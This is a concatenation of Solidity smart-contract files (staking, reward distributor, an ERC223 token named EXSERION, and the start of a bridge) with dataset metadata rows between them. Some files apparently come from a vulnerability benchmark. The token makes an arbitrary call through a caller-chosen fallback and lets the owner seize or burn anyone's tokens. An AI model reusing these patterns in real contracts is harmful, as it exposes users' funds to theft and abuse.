function distribute() external returns (bool);
}
contract Staking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable Time;
address public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = _Time;
require(_Memories != address(0));
Memories = _Memories;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(Time).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IMemo(Memories).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(Memories).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IMemo(Memories).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IMemo(Memories).balanceForGons(info.gons));
IERC20(Time).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(Memories).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(Time).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return IMemo(Memories).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
IMemo(Memories).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IMemo(Memories).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(Time).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(Memories).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(Memories).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 115,941 | 12,468 |
0c8d803d6479052e2e94a447a3dddeb72fbeb73bb81f0b00f1b5100b5041e045
| 16,160 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f6/f65f371bB4Dceff4b6D9B45a6988ffef5304f93b_Distributor.sol
| 3,392 | 13,870 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
function div(uint256 x, uint256 y) internal pure returns(uint256 z){
require(y > 0);
z=x/y;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Ownable {
using LowGasSafeMath for uint;
using LowGasSafeMath for uint32;
IERC20 public immutable TIME;
ITreasury public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
event LogDistribute(address indexed recipient, uint amount);
event LogAdjust(uint initialRate, uint currentRate, uint targetRate);
event LogAddRecipient(address indexed recipient, uint rate);
event LogRemoveRecipient(address indexed recipient);
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _time, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = ITreasury(_treasury);
require(_time != address(0));
TIME = IERC20(_time);
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
treasury.mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
emit LogDistribute(info[ i ].recipient, nextRewardAt(info[ i ].rate));
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
uint initial = info[ _index ].rate;
uint rate = initial;
if (adjustment.add) { // if rate should increase
rate = rate.add(adjustment.rate); // raise rate
if (rate >= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
} else { // if rate should decrease
rate = rate.sub(adjustment.rate); // lower rate
if (rate <= adjustment.target) { // if target met
rate = adjustment.target;
delete adjustments[ _index ];
}
}
info[ _index ].rate = rate;
emit LogAdjust(initial, rate, adjustment.target);
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return TIME.totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) external view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyOwner {
require(_recipient != address(0), "IA");
require(_rewardRate <= 5000, "Too high reward rate");
require(info.length <= 4, "limit recipients max to 5");
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
emit LogAddRecipient(_recipient, _rewardRate);
}
function removeRecipient(uint _index, address _recipient) external onlyOwner {
require(_recipient == info[ _index ].recipient, "NA");
info[_index] = info[info.length-1];
adjustments[_index] = adjustments[ info.length-1 ];
info.pop();
delete adjustments[ info.length-1 ];
emit LogRemoveRecipient(_recipient);
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyOwner {
require(_target <= 5000, "Too high reward rate");
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 325,355 | 12,469 |
56fb6307f772481939fe3b957e1c94ec35fb3f77a2bd3a55a5588cb64770dec1
| 18,128 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.7/0xffee4db0f30a43955398776a9524fdff0680dd7f.sol
| 3,548 | 13,895 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC223 {
uint public totalSupply;
// ERC223 and ERC20 functions and events
function balanceOf(address who) public view returns (uint);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
// ERC20 functions and events
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract EXSERION is ERC223, Ownable {
using SafeMath for uint256;
string public name = "EXSERION";
string public symbol = "EXR";
uint8 public decimals = 8;
uint256 public totalSupply = 30e9 * 1e8;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping(address => uint256) public balanceOf;
mapping(address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed from, uint256 amount);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function EXSERION() public {
balanceOf[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOf[_owner];
}
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint j = 0; j < targets.length; j++) {
require(targets[j] != 0x0);
frozenAccount[targets[j]] = isFrozen;
FrozenFunds(targets[j], isFrozen);
}
}
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint j = 0; j < targets.length; j++){
require(unlockUnixTime[targets[j]] < unixTimes[j]);
unlockUnixTime[targets[j]] = unixTimes[j];
LockedFunds(targets[j], unixTimes[j]);
}
}
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if (isContract(_to)) {
return transferToContract(_to, _value, _data);
} else {
return transferToAddress(_to, _value, _data);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
bytes memory empty;
if (isContract(_to)) {
return transferToContract(_to, _value, empty);
} else {
return transferToAddress(_to, _value, empty);
}
}
// assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
return (length > 0);
}
// function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
// function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
Burn(_from, _unitAmount);
}
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _unitAmount) onlyOwner canMint public returns (bool) {
require(_unitAmount > 0);
totalSupply = totalSupply.add(_unitAmount);
balanceOf[_to] = balanceOf[_to].add(_unitAmount);
Mint(_to, _unitAmount);
Transfer(address(0), _to, _unitAmount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
function distributeAirdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
amount = amount.mul(1e8);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
Transfer(msg.sender, addresses[j], amount);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function distributeAirdrop(address[] addresses, uint[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
Transfer(msg.sender, addresses[j], amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].sub(totalAmount);
return true;
}
function collectTokens(address[] addresses, uint[] amounts) onlyOwner public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length);
uint256 totalAmount = 0;
for (uint j = 0; j < addresses.length; j++) {
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
amounts[j] = amounts[j].mul(1e8);
require(balanceOf[addresses[j]] >= amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].sub(amounts[j]);
totalAmount = totalAmount.add(amounts[j]);
Transfer(addresses[j], msg.sender, amounts[j]);
}
balanceOf[msg.sender] = balanceOf[msg.sender].add(totalAmount);
return true;
}
function setDistributeAmount(uint256 _unitAmount) onlyOwner public {
distributeAmount = _unitAmount;
}
function autoDistribute() payable public {
require(distributeAmount > 0
&& balanceOf[owner] >= distributeAmount
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
if(msg.value > 0) owner.transfer(msg.value);
balanceOf[owner] = balanceOf[owner].sub(distributeAmount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(distributeAmount);
Transfer(owner, msg.sender, distributeAmount);
}
function() payable public {
autoDistribute();
}
}
| 219,665 | 12,470 |
918f7265541353c5c0c7c3ad6873abbc886497bd7208e930da6aa2d98b77faaf
| 27,170 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/4d/4d960cdc46e8728eeb26af8105c277ee5c3cc252_Bridge.sol
| 3,521 | 13,971 |
// SPDX-License-Identifier: BSD-3-Clause
pragma solidity 0.6.11;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = msg.sender;
_owner = msgSender;
